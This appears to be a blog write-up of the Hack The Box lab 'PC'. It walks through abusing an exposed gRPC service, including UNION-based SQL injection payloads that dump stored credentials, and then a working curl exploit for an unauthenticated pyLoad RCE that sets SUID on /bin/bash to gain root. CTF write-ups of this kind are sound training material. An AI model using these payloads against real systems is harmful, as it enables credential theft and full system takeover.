HTB: PC
← Back to the log
October 23, 2026·Johnytiger

HTB: PC

An exposed gRPC service on PC lets us register, grab a token, and SQL-inject the SimpleApp getInfo call to dump SQLite creds straight out of the database. Those log us in over SSH, and an outdated pyLoad (Cheroot) with an unauthenticated RCE lets us flip bash to SUID and walk straight to root.

securityctfwriteuphacktheboxlinuxgrpcsql injectionpyloadcveprivilege escalation

Looking at our nmap scan, we see we have gRPC on port 50051 and SSH on 22. Let's probe that gRPC service with grpcurl.

The nmap scan showing a gRPC service on port 50051 and SSH on 22

grpcurl -plaintext 10.129.114.155:50051 describe

Using grpcurl to describe the gRPC service over plaintext

The app is called SimpleApp and we've got a couple of functions here. Let's describe each one.

The SimpleApp gRPC service and its available functions

Nice. Let's register ourselves an account and pull a token.

Registering an account on the SimpleApp service

grpcurl -plaintext -v -d '{"username":"poealone","password":"poe123"}' 10.129.114.155:50051 SimpleApp/LoginUser

Logging in to SimpleApp and receiving a session token

Now we have our token, let's hit the server and enumerate some more. A little SQL injection gives us info from the database. We'll stash the token in a variable to keep the commands clean.

TOKEN="<your JWT from the LoginUser response>"
grpcurl -plaintext -H "token: $TOKEN" -d '{"id":"0 UNION SELECT 1"}' 10.129.114.155:50051 SimpleApp/getInfo

A UNION-based SQL injection in getInfo returning a single column

We have one column, so let's drop the schema.

grpcurl -plaintext -H "token: $TOKEN" -d '{"id":"0 UNION SELECT group_concat(sql) FROM sqlite_master"}' 10.129.114.155:50051 SimpleApp/getInfo

Dumping the SQLite schema through the injection

That's great. Now let's dump the credentials.

grpcurl -plaintext -H "token: $TOKEN" -d '{"id":"0 UNION SELECT group_concat(username||\":\"||password) FROM accounts"}' 10.129.114.155:50051 SimpleApp/getInfo

Dumping the usernames and passwords from the accounts table

Nice! Now let's use them on SSH.

Logging in over SSH with the recovered credentials

Here we find the user.txt flag. Now let's enumerate for a privesc.

The user flag in the home directory, blurred

Let's check what's running on the box.

Listing the running processes and spotting a local service

We spot a Cheroot server, and looking it up tells us this is the outdated pyLoad, which is vulnerable to unauthenticated command execution. Let's flip the bash binary to SUID and grab root.

curl -s -i -X POST http://127.0.0.1:8000/flash/addcrypted2 \
  --data-urlencode 'package=xyz' \
  --data-urlencode 'crypted=AAAA' \
  --data-urlencode 'jk=pyimport os; os.system("chmod +s /bin/bash"); f=function f2(){};' \
  --data-urlencode 'passwords=aaaa'

Exploiting the outdated pyLoad Cheroot service to SUID bash and become root

And now we grab the root.txt flag. This box was extremely easy and simple, it felt more like a PoC example for the outdated Cheroot with a little spice of the gRPC being exposed.

End of transmissionAll posts
Drive
Johnytiger